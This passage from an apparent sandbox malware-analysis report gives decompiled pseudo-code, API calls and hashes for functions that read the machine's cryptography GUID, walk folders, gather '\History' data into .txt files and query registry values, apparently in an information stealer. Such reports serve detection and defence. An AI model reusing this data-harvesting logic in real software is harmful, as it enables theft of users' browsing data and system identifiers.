					RegOpenKeyExW(_t56, E00403D98(_v8), 0, 0x20019,  &_v24); // executed
				} else {
					_t52 =  *0x41b1a4; // 0x41c718
					 *((intOrPtr*)( *_t52))(_t56, E00403D98(_v8), 0, 0x20119,  &_v24);
				}
				RegQueryValueExW(_v24, E00403D98(_v12), 0,  &_v16,  &_v536,  &_v20); // executed
				E00403D6C(_a4, 0x100,  &_v536);
				_t43 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t43))();
				_t63 = _t56;
				 *[fs:eax] = _t63;
				_push(E004076AA);
				return E00403BF4( &_v12, 2);
			}

0x004075ca
0x004075cd
0x004075d0
0x004075d5
0x004075dd
0x004075e4
0x004075e5
0x004075ea
0x004075ed
0x004075f0
0x004075f7
0x00407604
0x00407642
0x00407606
0x0040761b
0x00407622
0x00407622
0x00407669
0x00407679
0x0040767f
0x00407686
0x0040768a
0x0040768d
0x00407690
0x004076a2

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020019,?), ref: 00407642
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000001,00000000,000000FE), ref: 00407669

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocOpenQueryStringValue
String ID:
API String ID: 4139485348-0
Opcode ID: fe58c2676ed98402a924e622f15a72af40503da2610d54ccfcf300c1ae47a28e
Instruction ID: 85569b86d54529dfd8c79574c565d9cfa8ba7989ecb8e03db7b7756a239e94ff
Opcode Fuzzy Hash: fe58c2676ed98402a924e622f15a72af40503da2610d54ccfcf300c1ae47a28e
Instruction Fuzzy Hash: 9B210A71A44208AFD700EB99CD82EEEB7FCEF48704F5040B6B519E72A1D774AE448B65

Uniqueness

Uniqueness Score: -1.00%

Function 00406E68, Relevance: 3.1, APIs: 2, Instructions: 58
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00406E68(void* __eax, void* __ebx, char __ecx, char __edx, intOrPtr _a4) {
				char _v8;
				char _v12;
				int _v16;
				int _v20;
				void* _v24;
				char _v536;
				void* _t18;
				intOrPtr _t52;
				void* _t56;

				_t18 = __eax - 0x55000000;
				_v12 = __ecx;
				_v8 = __edx;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t56);
				_push(0x406f1f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t56 + 0xfffffdec;
				_v20 = 0xfe;
				_v536 = 0;
				RegOpenKeyExW(_t18, E00403D98(_v8), 0, 0x20119,  &_v24); // executed
				RegQueryValueExW(_v24, E00403D98(_v12), 0,  &_v16,  &_v536,  &_v20); // executed
				E00403D6C(_a4, 0x100,  &_v536);
				_pop(_t52);
				 *[fs:eax] = _t52;
				_push(E00406F26);
				return E00403BF4( &_v12, 2);
			}

0x00406e68
0x00406e76
0x00406e79
0x00406e81
0x00406e89
0x00406e90
0x00406e91
0x00406e96
0x00406e99
0x00406e9c
0x00406ea3
0x00406ec8
0x00406eef
0x00406eff
0x00406f06
0x00406f09
0x00406f0c
0x00406f1e

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406EC8
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406EEF

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 75d402b96af35ef4be622c85e7f42c5874bf5a9438753516473e280561b1ff26
Instruction ID: 95dba4e9abc9c412b13e6587c625634e660d61312d90d7235186b1c7fae4ad03
Opcode Fuzzy Hash: 75d402b96af35ef4be622c85e7f42c5874bf5a9438753516473e280561b1ff26
Instruction Fuzzy Hash: DB114970600209AFD700EF98D992ADEBBFCEF48704F4000B6B508E7291E774AB448BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00406E6C, Relevance: 3.1, APIs: 2, Instructions: 58
registryCOMMON

Download Yara Rule

C-Code - Quality: 65%

			E00406E6C(void* __eax, void* __ebx, char __ecx, char __edx, intOrPtr _a4) {
				char _v8;
				char _v12;
				int _v16;
				int _v20;
				void* _v24;
				char _v536;
				void* _t44;
				intOrPtr _t51;
				void* _t55;

				_v12 = __ecx;
				_v8 = __edx;
				_t44 = __eax;
				E00404150( &_v8);
				E00404150( &_v12);
				_push(_t55);
				_push(0x406f1f);
				_push( *[fs:eax]);
				 *[fs:eax] = _t55 + 0xfffffdec;
				_v20 = 0xfe;
				_v536 = 0;
				RegOpenKeyExW(_t44, E00403D98(_v8), 0, 0x20119,  &_v24); // executed
				RegQueryValueExW(_v24, E00403D98(_v12), 0,  &_v16,  &_v536,  &_v20); // executed
				E00403D6C(_a4, 0x100,  &_v536);
				_pop(_t51);
				 *[fs:eax] = _t51;
				_push(E00406F26);
				return E00403BF4( &_v12, 2);
			}

0x00406e76
0x00406e79
0x00406e7c
0x00406e81
0x00406e89
0x00406e90
0x00406e91
0x00406e96
0x00406e99
0x00406e9c
0x00406ea3
0x00406ec8
0x00406eef
0x00406eff
0x00406f06
0x00406f09
0x00406f0c
0x00406f1e

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

RegOpenKeyExW.KERNEL32(80000002,00000000,00000000,00020119,?), ref: 00406EC8
RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,000000FE), ref: 00406EEF

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: String$AllocFreeOpenQueryValue
String ID:
API String ID: 967375698-0
Opcode ID: 93ffc18aff940630c773c39f869c9b73eb077ec6050040de7a5362879dcd2ece
Instruction ID: d6839de15ce0d986496e2f56cedbfcdd5c795bc72117923b9a37f873fbd9eab1
Opcode Fuzzy Hash: 93ffc18aff940630c773c39f869c9b73eb077ec6050040de7a5362879dcd2ece
Instruction Fuzzy Hash: E0111971640209AFD700EB99DD86EDEBBFCEF48704F5000B6B508E7291DB74AB448A65

Uniqueness

Uniqueness Score: -1.00%

Function 00407360, Relevance: 3.1, APIs: 2, Instructions: 54
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E00407360(char __eax, void* __ebx, char __edx) {
				char _v8;
				char _v12;
				long _v16;
				void* _t21;
				long _t24;
				intOrPtr* _t28;
				void* _t37;
				intOrPtr _t41;
				void* _t42;
				void* _t44;

				_v12 = __edx;
				_v8 = __eax;
				E00404150( &_v8);
				E00403980(_v12);
				 *[fs:eax] = _t44 + 0xfffffff4;
				_t21 = CreateFileW(E00403D98(_v8), 0xc0000000, 3, 0, 2, 0, 0); // executed
				_t37 = _t21;
				_t24 = E00403790(_v12);
				WriteFile(_t37, E004039E8( &_v12), _t24,  &_v16, 0); // executed
				_t28 =  *0x41b1b4; // 0x41c690
				 *((intOrPtr*)( *_t28))( *[fs:eax], 0x4073f4, _t44, __ebx, _t42);
				_t41 = _t37;
				 *[fs:eax] = _t41;
				_push(E004073FB);
				E004034E4( &_v12);
				return E00403BDC( &_v8);
			}

0x00407367
0x0040736a
0x00407370
0x00407378
0x00407388
0x004073aa
0x004073ac
0x004073b7
0x004073c7
0x004073cd
0x004073d4
0x004073d8
0x004073db
0x004073de
0x004073e6
0x004073f3

APIs

Part of subcall function 00404150: SysAllocStringLen.OLEAUT32(SOFTWARE\Microsoft\Cryptography,?), ref: 0040415E

CreateFileW.KERNEL32(00000000,C0000000,00000003,00000000,00000002,00000000,00000000,00000000,004073F4,?,00000000), ref: 004073AA
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 004073C7

Part of subcall function 00403BDC: SysFreeString.OLEAUT32(00000000), ref: 00403BEA

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileString$AllocCreateFreeWrite
String ID:
API String ID: 149767779-0
Opcode ID: 43432f22bc6f60f64f2521d3b3b8b4a161be99dcd4d1917b5062f7dffc48da17
Instruction ID: 5c007f112bc207020b52db4899322c02a8c13f70d9beadd033b382a6e8114dc3
Opcode Fuzzy Hash: 43432f22bc6f60f64f2521d3b3b8b4a161be99dcd4d1917b5062f7dffc48da17
Instruction Fuzzy Hash: 811118B0A44208BFD701EBA5CC82F9EBBECEB48704F504076B514F72D1DA74AB009A58

Uniqueness

Uniqueness Score: -1.00%

Function 004118A1, Relevance: 3.0, APIs: 2, Instructions: 44
fileCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E004118A1(void* __ebx) {
				intOrPtr* _t62;
				void* _t65;
				int _t68;
				intOrPtr* _t96;
				void* _t108;
				intOrPtr* _t112;
				void* _t124;
				void* _t126;
				intOrPtr _t138;
				intOrPtr _t145;
				void* _t162;
				void* _t163;
				void* _t164;
				intOrPtr _t165;

				_t126 = __ebx;
				E0040300C();
				while(1) {
					_t68 = FindNextFileW( *(_t164 - 0x14), _t164 - 0x264); // executed
					if(_t68 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t164 - 4)));
					_push(0x411988);
					E00403D6C(_t164 - 0x270, 0x104, _t164 - 0x238);
					_push( *((intOrPtr*)(_t164 - 0x270)));
					_push(0x411988);
					_t62 =  *0x41b180; // 0x41c91c
					_push( *_t62);
					E00403E78();
					_t65 = E0040776C( *((intOrPtr*)(_t164 - 0x26c)), _t126, 0x104); // executed
					if(_t65 != 0) {
						_push(_t164);
						_push(0x41189c);
						_push( *[fs:eax]);
						 *[fs:eax] = _t165;
						if( *((intOrPtr*)(_t164 + 8)) == 0) {
							_push( *((intOrPtr*)(_t164 - 4)));
							_push(0x411988);
							E00403D6C(_t164 - 0x280, 0x104, _t164 - 0x238);
							_push( *((intOrPtr*)(_t164 - 0x280)));
							_push(0x411988);
							_t112 =  *0x41b180; // 0x41c91c
							_push( *_t112);
							E00403E78();
							E00411034( *((intOrPtr*)(_t164 - 0x27c)), _t126, _t164 - 0x278, _t162, _t163); // executed
							E0040377C(_t164 - 0x274,  *((intOrPtr*)(_t164 - 0x278)));
							_push( *((intOrPtr*)(_t164 - 0x274)));
							_push( *((intOrPtr*)(_t164 - 0xc)));
							_push(0x411988);
							_push( *((intOrPtr*)(_t164 - 8)));
							_push(E00411990);
							E00403D6C(_t164 - 0x28c, 0x104, _t164 - 0x238);
							_push( *((intOrPtr*)(_t164 - 0x28c)));
							_push(L".txt");
							E00403E78();
							E0040377C(_t164 - 0x284,  *((intOrPtr*)(_t164 - 0x288)));
							_pop(_t124);
							E0040E6D4(_t124, _t126,  *((intOrPtr*)(_t164 - 0x284)), _t162, _t163);
						}
						if( *((intOrPtr*)(_t164 + 8)) == 0) {
							_push( *((intOrPtr*)(_t164 - 4)));
							_push(0x411988);
							E00403D6C(_t164 - 0x29c, 0x104, _t164 - 0x238);
							_push( *((intOrPtr*)(_t164 - 0x29c)));
							_push(0x411988);
							_t96 =  *0x41b180; // 0x41c91c
							_push( *_t96);
							E00403E78();
							E004112D0( *((intOrPtr*)(_t164 - 0x298)), _t126, _t164 - 0x294, _t162, _t163); // executed
							E0040377C(_t164 - 0x290,  *((intOrPtr*)(_t164 - 0x294)));
							_push( *((intOrPtr*)(_t164 - 0x290)));
							_push( *((intOrPtr*)(_t164 - 0xc)));
							_push(0x411988);
							_push( *((intOrPtr*)(_t164 - 8)));
							_push(E00411990);
							E00403D6C(_t164 - 0x2a8, 0x104, _t164 - 0x238);
							_push( *((intOrPtr*)(_t164 - 0x2a8)));
							_push(E00411990);
							_push(E004119A8);
							_push(E004119A8);
							_push(L".txt");
							E00403E78();
							E0040377C(_t164 - 0x2a0,  *((intOrPtr*)(_t164 - 0x2a4)));
							_pop(_t108);
							E0040E6D4(_t108, _t126,  *((intOrPtr*)(_t164 - 0x2a0)), _t162, _t163);
						}
						_pop(_t145);
						 *[fs:eax] = _t145;
					}
				}
				FindClose( *(_t164 - 0x14));
				_pop(_t138);
				 *[fs:eax] = _t138;
				_push(E00411968);
				E00403BF4(_t164 - 0x2a8, 2);
				E004034E4(_t164 - 0x2a0);
				E00403BF4(_t164 - 0x29c, 3);
				E004034E4(_t164 - 0x290);
				E00403BF4(_t164 - 0x28c, 2);
				E004034E4(_t164 - 0x284);
				E00403BF4(_t164 - 0x280, 3);
				E004034E4(_t164 - 0x274);
				E00403BF4(_t164 - 0x270, 3);
				return E00403BF4(_t164 - 0xc, 3);
			}

0x004118a1
0x004118a1
0x004118a6
0x004118b1
0x004118b8
0x00000000
0x00000000
0x00411680
0x00411683
0x00411699
0x0041169e
0x004116a4
0x004116a9
0x004116ae
0x004116bb
0x004116c6
0x004116cd
0x004116d5
0x004116d6
0x004116db
0x004116de
0x004116e5
0x004116eb
0x004116ee
0x00411704
0x00411709
0x0041170f
0x00411714
0x00411719
0x00411726
0x00411737
0x00411748
0x00411753
0x00411754
0x00411757
0x0041175c
0x0041175f
0x00411775
0x0041177a
0x00411780
0x00411790
0x004117a1
0x004117ac
0x004117ad
0x004117ad
0x004117b6
0x004117bc
0x004117bf
0x004117d5
0x004117da
0x004117e0
0x004117e5
0x004117ea
0x004117f7
0x00411808
0x00411819
0x00411824
0x00411825
0x00411828
0x0041182d
0x00411830
0x00411846
0x0041184b
0x00411851
0x00411856
0x0041185b
0x00411860
0x00411870
0x00411881
0x0041188c
0x0041188d
0x0041188d
0x00411894
0x00411897
0x00411897
0x004116cd
0x004118c2
0x004118c9
0x004118cc
0x004118cf
0x004118df
0x004118ea
0x004118fa
0x00411905
0x00411915
0x00411920
0x00411930
0x0041193b
0x0041194b
0x0041195d

APIs

FindNextFileW.KERNEL32(?,?,ln,00411988,?,00411988,0041A212,00000000,?,00000000,0041195E,?,00000000,?,00000000,00000053), ref: 004118B1
FindClose.KERNEL32(?,?,?,ln,00411988,?,00411988,0041A212,00000000,?,00000000,0041195E,?,00000000,?,00000000), ref: 004118C2

Part of subcall function 00403BF4: SysFreeString.OLEAUT32(?), ref: 00403C07

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$CloseFileFreeNextString
String ID:
API String ID: 2955960751-0
Opcode ID: b893b6c98d6ac9045b8b2384ddb79cdcd8bfc0c4da5777deaa24b4cb2b829e5d
Instruction ID: 6361b31e21baeb503ad47129d3698834fb5e4a60922baead4879d641878d5266
Opcode Fuzzy Hash: b893b6c98d6ac9045b8b2384ddb79cdcd8bfc0c4da5777deaa24b4cb2b829e5d
Instruction Fuzzy Hash: 9701DE349001194EDB11FB62C94679EF7BCAB84309F5040FBA418B2682DB3CEB4A8A19

Uniqueness

Uniqueness Score: -1.00%

Function 00412F4D, Relevance: 3.0, APIs: 2, Instructions: 34
fileCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E00412F4D(void* __ebx) {
				intOrPtr* _t38;
				void* _t41;
				int _t44;
				void* _t75;
				void* _t77;
				intOrPtr _t87;
				intOrPtr _t92;
				void* _t101;
				void* _t102;
				void* _t103;
				intOrPtr _t104;

				_t77 = __ebx;
				E0040300C();
				while(1) {
					_t44 = FindNextFileW( *(_t103 - 0x14), _t103 - 0x264); // executed
					if(_t44 == 0) {
						break;
					}
					_push( *((intOrPtr*)(_t103 - 4)));
					_push(0x412ffc);
					E00403D6C(_t103 - 0x270, 0x104, _t103 - 0x238);
					_push( *((intOrPtr*)(_t103 - 0x270)));
					_push(0x412ffc);
					_t38 =  *0x41b180; // 0x41c91c
					_push( *_t38);
					E00403E78();
					_t41 = E0040776C( *((intOrPtr*)(_t103 - 0x26c)), _t77, 0x104); // executed
					if(_t41 != 0) {
						_push(_t103);
						_push(0x412f48);
						_push( *[fs:eax]);
						 *[fs:eax] = _t104;
						if( *((intOrPtr*)(_t103 + 8)) == 0) {
							_push( *((intOrPtr*)(_t103 - 4)));
							_push(0x412ffc);
							E00403D6C(_t103 - 0x280, 0x104, _t103 - 0x238);
							_push( *((intOrPtr*)(_t103 - 0x280)));
							_push(L"\\History");
							E00403E78();
							E00412974( *((intOrPtr*)(_t103 - 0x27c)), _t77, _t103 - 0x278, _t101, _t102); // executed
							E0040377C(_t103 - 0x274,  *((intOrPtr*)(_t103 - 0x278)));
							_push( *((intOrPtr*)(_t103 - 0x274)));
							_push( *((intOrPtr*)(_t103 - 0xc)));
							_push(0x412ffc);
							_push( *((intOrPtr*)(_t103 - 8)));
							_push(0x41301c);
							E00403D6C(_t103 - 0x28c, 0x104, _t103 - 0x238);
							_push( *((intOrPtr*)(_t103 - 0x28c)));
							_push(L".txt");
							E00403E78();
							E0040377C(_t103 - 0x284,  *((intOrPtr*)(_t103 - 0x288)));
							_pop(_t75);
							E0040E6D4(_t75, _t77,  *((intOrPtr*)(_t103 - 0x284)), _t101, _t102);
						}
						_pop(_t92);
						 *[fs:eax] = _t92;
					}
				}
				FindClose( *(_t103 - 0x14));
				_pop(_t87);
				 *[fs:eax] = _t87;
				_push(E00412FDB);
				E00403BF4(_t103 - 0x28c, 2);
				E004034E4(_t103 - 0x284);
				E00403BF4(_t103 - 0x280, 3);
				E004034E4(_t103 - 0x274);
				E00403BF4(_t103 - 0x270, 3);
				return E00403BF4(_t103 - 0xc, 3);
			}

0x00412f4d
0x00412f4d
0x00412f52
0x00412f5d
0x00412f64
0x00000000
0x00000000
0x00412e13
0x00412e16
0x00412e2c
0x00412e31
0x00412e37
0x00412e3c
0x00412e41
0x00412e4e
0x00412e59
0x00412e60
0x00412e68
0x00412e69
0x00412e6e
0x00412e71
0x00412e78
0x00412e7e
0x00412e81
0x00412e97
0x00412e9c
0x00412ea2
0x00412eb2
0x00412ec3
0x00412ed4
0x00412edf
0x00412ee0
0x00412ee3
0x00412ee8
0x00412eeb
0x00412f01
0x00412f06
0x00412f0c
0x00412f1c
0x00412f2d
0x00412f38
0x00412f39
0x00412f39
0x00412f40
0x00412f43
0x00412f43
0x00412e60
0x00412f6e
0x00412f75
0x00412f78
0x00412f7b
0x00412f8b
0x00412f96
0x00412fa6
0x00412fb1
0x00412fc1
0x00412fd3

APIs

FindNextFileW.KERNEL32(?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F5D
FindClose.KERNEL32(?,?,?,ln,00412FFC,?,00412FFC,0041A212,00000000,?,00000000,00412FD4,?,00000000,?,00000000), ref: 00412F6E

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 817ee7c4846bb443b598da3e889f6e1609431fd6cb60bbe8db9a38ab8fe493ff
Instruction ID: 31dfb157ccc23374c2adb69d96574226511c64d33fe958f414411991fd8eea84
Opcode Fuzzy Hash: 817ee7c4846bb443b598da3e889f6e1609431fd6cb60bbe8db9a38ab8fe493ff
Instruction Fuzzy Hash: F8F091759041194EDB51FB62C94679EB7BCAB84309F5040BBA418F3682EB3CEB4A4A19

Uniqueness

Uniqueness Score: -1.00%

Function 00401388, Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401388(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E0040123C(0x41c5d4, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x0040138b
0x00401395
0x004013a4
0x00401397
0x00401397
0x00401397
0x004013aa
0x004013b7
0x004013bc
0x004013be
0x004013c2
0x004013cb
0x004013d2
0x004013de
0x004013e5
0x00000000
0x004013e5
0x004013d2
0x004013ea

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013B7
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401691), ref: 004013DE

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction ID: a459bd48843060549903651ed84add4fd647ab7a4347e8b1aec55fdbd67c2c02
Opcode Fuzzy Hash: b25dbc278243e52bedcd7f6d8fef46cdb2f3eea21510b30c666f455eef3dc6e8
Instruction Fuzzy Hash: 72F0E972B0032017EB2055690CC1F5265C58B46760F14417BBE08FF7D9C6758C008299

Uniqueness

Uniqueness Score: -1.00%

Function 0040B804, Relevance: 1.7, APIs: 1, Instructions: 187
registryCOMMON

Download Yara Rule

C-Code - Quality: 38%

			E0040B804(char __eax, void* __ebx, char __ecx, short* __edx, void* __edi, void* __esi, void* __fp0, intOrPtr _a4) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				void* _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				char _v48;
				intOrPtr _v52;
				char _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				long _t84;
				intOrPtr* _t86;
				intOrPtr* _t107;
				intOrPtr* _t120;
				intOrPtr* _t130;
				intOrPtr* _t146;
				short* _t160;
				signed int _t161;
				intOrPtr _t168;
				intOrPtr _t170;
				intOrPtr _t171;
				void* _t182;
				void* _t183;
				void* _t185;
				void* _t188;
				intOrPtr _t189;
				void* _t194;

				_t194 = __fp0;
				_t189 = _t188 + 0xffffffb8;
				_v72 = 0;
				_v76 = 0;
				_v68 = 0;
				_v16 = 0;
				_v24 = 0;
				_v12 = __ecx;
				_t160 = __edx;
				_v8 = __eax;
				E00404874(_v8);
				E00403980(_v12);
				_push(_t188);
				_push(0x40ba26);
				_push( *[fs:eax]);
				 *[fs:eax] = _t189;
				E004034E4(_a4);
				_v20 = 0;
				_t84 = RegOpenKeyExW(0x80000001, _t160, 0, 1,  &_v28); // executed
				if(_t84 == 0) {
					_v32 = 0x400;
					_t185 = E00402530(_v32);
					while(1) {
						_push(0);
						_push(0);
						_push(0);
						_push(0);
						_push( &_v32);
						_push(_t185);
						_push(_v20);
						_push(_v28);
						_t107 =  *0x41b3a4; // 0x41c734
						if( *((intOrPtr*)( *_t107))() == 0x103) {
							goto L11;
						}
						_v32 = 0x400;
						_t182 = E00404650();
						if(_t182 >= 0) {
							_t183 = _t182 + 1;
							_t161 = 0;
							do {
								E0040B47C( *((intOrPtr*)(_v8 + _t161 * 4)), _t161,  &_v24, _t183, _t185);
								_t120 =  *0x41b398; // 0x41c710
								 *((intOrPtr*)( *_t120))(_v28, _t185, 0,  &_v36, 0,  &_v40);
								_push(_v40);
								E00404804();
								_t189 = _t189 + 4;
								_push( &_v40);
								_push(_v16);
								_push( &_v36);
								_push(0);
								_push(_t185);
								_push(_v28);
								_t130 =  *0x41b398; // 0x41c710
								if( *((intOrPtr*)( *_t130))() == 0) {
									_v44 = _v16;
									_v48 = _v40;
									_v60 =  *((intOrPtr*)(_v8 + _t161 * 4));
									E00403D24( &_v68,  *((intOrPtr*)(_v8 + _t161 * 4)));
									_v64 = E00403DA8(_v68) + 1 + E00403DA8(_v68) + 1;
									_push( &_v56);
									_push(1);
									_push(0);
									_push(0);
									_push( &_v64);
									_push(0);
									_push( &_v48);
									_t146 =  *0x41b338; // 0x41ca64
									if( *((intOrPtr*)( *_t146))() != 0) {
										E0040370C( &_v76,  *((intOrPtr*)(_v8 + _t161 * 4)));
										E0040B66C(_v52, _t161, _v12, _t183, _t185, _t194,  &_v72, _v76);
										E00403798(_a4, _v72);
									}
								}
								_t161 = _t161 + 1;
								_t183 = _t183 - 1;
							} while (_t183 != 0);
						}
						E00404F5C();
						_v20 = _v20 + 1;
					}
				}
				L11:
				_t86 =  *0x41b1fc; // 0x41c714
				 *((intOrPtr*)( *_t86))(_v28);
				_pop(_t168);
				 *[fs:eax] = _t168;
				_push(E0040BA2D);
				E00403508( &_v76, 2);
				E00403BDC( &_v68);
				E004034E4( &_v24);
				_t170 =  *0x40b7e0; // 0x40b7e4
				E00404810( &_v16, _t170);
				E004034E4( &_v12);
				_t171 =  *0x40b1f0; // 0x40b1f4
				return E00404810( &_v8, _t171);
			}

0x0040b804
0x0040b807
0x0040b80f
0x0040b812
0x0040b815
0x0040b818
0x0040b81b
0x0040b81e
0x0040b821
0x0040b823
0x0040b829
0x0040b831
0x0040b838
0x0040b839
0x0040b83e
0x0040b841
0x0040b847
0x0040b84e
0x0040b866
0x0040b86a
0x0040b870
0x0040b87f
0x0040b9a1
0x0040b9a1
0x0040b9a3
0x0040b9a5
0x0040b9a7
0x0040b9ac
0x0040b9ad
0x0040b9b1
0x0040b9b5
0x0040b9b6
0x0040b9c4
0x00000000
0x00000000
0x0040b886
0x0040b895
0x0040b899
0x0040b89f
0x0040b8a0
0x0040b8a2
0x0040b8ab
0x0040b8c1
0x0040b8c8
0x0040b8cd
0x0040b8dc
0x0040b8e1
0x0040b8e7
0x0040b8eb
0x0040b8ef
0x0040b8f0
0x0040b8f2
0x0040b8f6
0x0040b8f7
0x0040b902
0x0040b90b
0x0040b911
0x0040b91a
0x0040b926
0x0040b936
0x0040b93c
0x0040b93d
0x0040b93f
0x0040b941
0x0040b946
0x0040b947
0x0040b94c
0x0040b94d
0x0040b958
0x0040b963
0x0040b979
0x0040b984
0x0040b989
0x0040b958
0x0040b98c
0x0040b98d
0x0040b98d
0x0040b8a2
0x0040b999
0x0040b99e
0x0040b99e
0x0040b9a1
0x0040b9ca
0x0040b9ce
0x0040b9d5
0x0040b9d9
0x0040b9dc
0x0040b9df
0x0040b9ec
0x0040b9f4
0x0040b9fc
0x0040ba04
0x0040ba0a
0x0040ba12
0x0040ba1a
0x0040ba25

APIs

RegOpenKeyExW.KERNEL32(80000001,00000000,00000000,00000001,0040BA88,00000000,0040BA26,?,00000000,?,0041A212), ref: 0040B866

Memory Dump Source

Source File: 0000000C.00000002.510992835.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.510986386.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.511009597.000000000041B000.00000004.00020000.sdmp Download File

Yara matches

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 81aa2dcec8f700d3ded1d9beeba7a357ba4f9dc75c092996aa29383ed270e766
Instruction ID: 34205e84097258e7a588fb199a314387a6db68d3062b84a0f8cba89c4babe4b5
Opcode Fuzzy Hash: 81aa2dcec8f700d3ded1d9beeba7a357ba4f9dc75c092996aa29383ed270e766
Instruction Fuzzy Hash: C371A3B5A00109AFDB10DF99C981EDEB7F8EF48304F10417AEA14F72A1D774AE458B98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B25C, Relevance: 1.6, APIs: 1, Instructions: 111
comCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040B25C(intOrPtr* __eax, void* __ebx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				intOrPtr _v52;
				char _v56;
				char _v60;
				intOrPtr* _t39;
				intOrPtr* _t42;
				intOrPtr* _t47;
				signed int _t80;
				intOrPtr _t98;
				intOrPtr* _t104;
				void* _t105;
				void* _t106;
				void* _t107;
				intOrPtr _t108;
				void* _t109;

				_t106 = _t107;
				_t108 = _t107 + 0xffffffc8;
				_v60 = 0;
				_v8 = 0;
				_v16 = 0;
				_t104 = __eax;
				 *[fs:eax] = _t108;
				L0040B1A4(); // executed
				_t80 = 0;
				asm("adc eax, 0x40b1f0");
				E00404804();
				_t109 = _t108 + 4;
				E0040B224(0x41b0dc,  &_v60);
